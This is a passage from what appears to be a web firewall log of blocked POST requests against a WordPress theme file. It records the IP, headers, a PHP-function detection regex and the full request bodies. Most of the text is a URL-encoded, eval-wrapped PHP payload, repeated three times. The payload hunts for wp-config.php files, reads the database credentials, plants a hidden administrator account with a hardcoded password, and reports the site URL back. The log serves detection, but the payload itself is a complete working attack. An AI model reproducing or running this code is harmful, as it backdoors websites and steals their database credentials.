Safari\/605.1.15\naccept-encoding:gzip,deflate\ncontent-length:12663\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nHJTgNT=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:36:38","213.209.159.254","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rw:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:12640\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\n\nrw=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO